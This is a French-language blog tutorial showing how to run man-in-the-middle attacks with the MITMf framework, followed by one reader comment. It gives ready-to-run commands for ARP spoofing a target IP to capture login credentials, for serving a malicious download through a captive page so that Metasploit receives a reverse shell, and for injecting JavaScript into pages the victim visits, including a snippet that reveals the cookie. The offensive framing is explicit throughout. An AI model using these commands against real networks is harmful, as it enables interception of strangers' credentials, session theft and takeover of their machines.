Manipuler des machines avec le framework Mitmf

Manipuler des machines avec le framework Mitmf

Alright guys, voyons voir comment ce truc de “Man in the middle” fonctionne !

Ça fait très longtemps que je voulais faire ce tuto, mais vu que j’ai pas pu trouver de solution pour bypasser le HSTS j’ai hésité de présenter cette attaque, car comme vous le savez, la majorité des sites Web moderne sont immunisés contre tout attaque qui essaie de downgrader la connexion HTTPS en HTTP.

Mais bon …. Je vais le faire comme même 😀.

Le concept de MITM est trés important à comprendre parce que c’est une attaque qui a le potientiel de vous donner un résultat quaund toutes vos tentatives d’intrusion échouent, c’est une attaque facile à comprendre, et trés rapide à executer, Mais comprenons d’abord le concept.

L’attaque de l’homme de milieu, c’est quand vous (en tant qu’attaquant) vous vous placer entre deux machines dans la tentative d’espionner la connexion qui se déroule entre les deux, voici un shéma explicatif :

 

Comme montré dans la figure ci-dessus, dans le cas normal, le client envoie et reçoit des données par l’intermédiaire de son routeur et tout se passe bien.

Maintenant avec l’attaque Mitm, votre machine attaquante va se faire passer pour LE routeur de la victime, et en faisant aisni la victime va vous faire confiance et elle va vous envoyé ses requêtes en croyant que c’est vous le routeur … Et bien là, c’est à vous de prendre soin du reste 😁.

Installation du framework Mitmf

Durant un test d’intrusion, plus vous êtes rapide à executer une attaque plus seront vos chance de réussir le test à la fin, et c’est là que vient le rôle des framework, en gros, un framework est un ensemble d’outils réunis dans un seul cadre de travail, de cette façon, vous n’aurez pas à allez chercher par vous même tous les composant que vous en aurez besoin durant votre test … Tout est disponible dans le framework.

Pour effectuer notre attaque aujourd’hui nous allons utiliser le fameux Man in the middle framework ou Mitmf, c’est un framework écrit en Python et qui va nous aider à automatiser le processus avec quelque fonctionnalité additionnelle que nous discuterons plus loin dans l’article.

Tout d’abord, voyons voir comment installer mitmf sur votre système, pour cela lancez votre Kali Linux (ou parrot) et assurez-vous que vous avez un systéme à jour.

Pour mettre à jour votre système, exécutez ces deux commandes :

apt-get update

apt-get upgrade

Ensuite, nous devrons installer captone : une des dépendances de mitmf, cette commande fera tout le dur labeur pour nous :

pip install capstone

 

Maintenant, clonons le dépôt de mitmf sur notre machine avec la commande suivante :

git clone https://github.com/byt3bl33d3r/MITMf



Déplacez-vous vers le répertoire, télécharger, initialisez et clonez les sous-modules repos avec la commande :

cd MITMf && git submodule init && git submodule update --recursive

Dernière étape : installons les dépendances avec le gestionnaire de paquets pip :

pip install -r requirements.txt

And here we go, vous pouvez maintenant consulter le menu d’aide de mitmf avec la commande :

python mitmf.py --help


Syntaxe de Mitmf

Comme vous pouvez le constater depuis le menu d’aide de mitfm, ce framework peut gérer un grand nombre d’options, mais les seules options qui reviennent à chaque foi que vous utilisez mitmfs sont les suivants :

i : pour spécifier l’interface réseau que vous voulez utiliser pour lancer l’attaque.

-spoof : pour rediriger et manipuler un trafic spécifique sur le réseau.

[protocole] : rediriger le trafic en spoofing le protocole choisi.

-gateway : spécifier l’adresse IP de votre passerelle (routeur par exemple).

target : spécifier l’adresse IP de votre cible.

Pretty simple heh !

Voyons d’abord comment utiliser mtifm pour spoofer le protocole arp et capturer des mots de passe transmis via http.

Sur votre terminal, entrez la commande ifconfig pour voir le nom d’interface réseau que vous utilisez pour connecter à votre réseau, dans mon cas, j’utilise eth0 comme vous pouvez le voir :

Maintenant, lancer l’attaque en exécutant la commande suivante sur votre terminal :

python mitmf.py -i eth0 --spoof --arp --hsts --gateway 192.168.43.1 --target 192.168.43.63

Pour connaître l’adresse IP de votre gateway, exécutez la commande arp -a :

Et là, je vais utiliser ma machine Windows avec l’adresse IP 192.168.43.63 comme machine victime :

Alright, maintenant quand j’exécute l’attaque, j’aurai ce résultat :

Comme vous pouvez le voir, l’attaque est en cours d’exécution et attend les requêtes de la victime pour les sniffer, maintenant sur ma machine Windows je vais visiter un site web (en http) et utiliser un formulaire de connexion pour loguer sur l’application.

Maintenant, quand je clique sur “Login”, mitfm va instantanément capturer ces identifiants et les afficher sur le terminal comme le montre la figure suivante :

Honnêtement, je ne trouve pas ça très intéressant vue que la connexion entre la victime et le serveur n’est pas crypté (n’est pas en https) 😅, du coup, c’est important d’utiliser d’autre fonctionnalités de mitfm pour essayer d’avoir plus de contrôle sur la cible.

L’idéale, c’est de pousser la victime à télécharger et installer un malware sur son système, de cette façon vous aurez accès directement via shell sur sa machine, par exemple, vous pouvez utiliser l’option --captive pour délivrer un payload à votre cible puis utiliser Metasploit pour capturer la connexion.

Pour cela, ajouter l’option --captive à la commande précédente comme suit :

python mitmf.py -i eth0 --spoof --arp --hsts --gateway 192.168.43.1 --target 192.168.43.63 --captive

La victime sera redirigée vers une page de téléchargement comme la suivante :

Et une fois cliqué sur le lien, le fichier malveillant sera téléchargé sur le système mais vu que je suis sur une machine Windows à jour, Windows defender à facilement détecter le risque :

Vous pouvez aussi utiliser l’option --inject pour injecter un script dans la page visité par votre cible.

Créons d’abord un petit script JavaScript afin de l’utiliser dans cette attaque.

echo "alert("Working on your machine!")" > script.js

Ensuite, executer la commande suivante pour lancer l’attaque:

python mitmf.py -i eth0 --spoof --arp --hsts --gateway 192.168.43.1 --target 192.168.43.63 --inject --js-file /root/MITMF/script.js

Un pop-up du message sera affiché à chaque fois que la victime visite un site en http :

Dans le cas où vous voulez récupérer le cookie de cette application vous pouvez modifier utiliser un code JavaScript comme le suivant :

alert(document.write('cookie: ' + document.cookie))

Conclusion

Comme je vous ai déjà dit, la meilleure façon d’utiliser mitmf, c’est de développer un bon payload puis d’utiliser la fonctionnalité --captive pour inciter la victime à télécharger le payload, si votre payload est bien sofistiqué, vous pouvez avoir un reverse shell sur votre Metasploit.

Si vous avez d’autres variantes d’attaque avec ce framework n’hésitez pas à les partager avec moi dans la section de commentaire.

Peace.

2 réactions au sujet de « Manipuler des machines avec le framework Mitmf »

  1. Tres bon tuto je l’ai aussi regardé sur YouTube. Bah j’aurai surtout aimer que tu nous montre comment bypasser la sécurité HSTS

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

1 × 1 =

Follow by Email
YouTube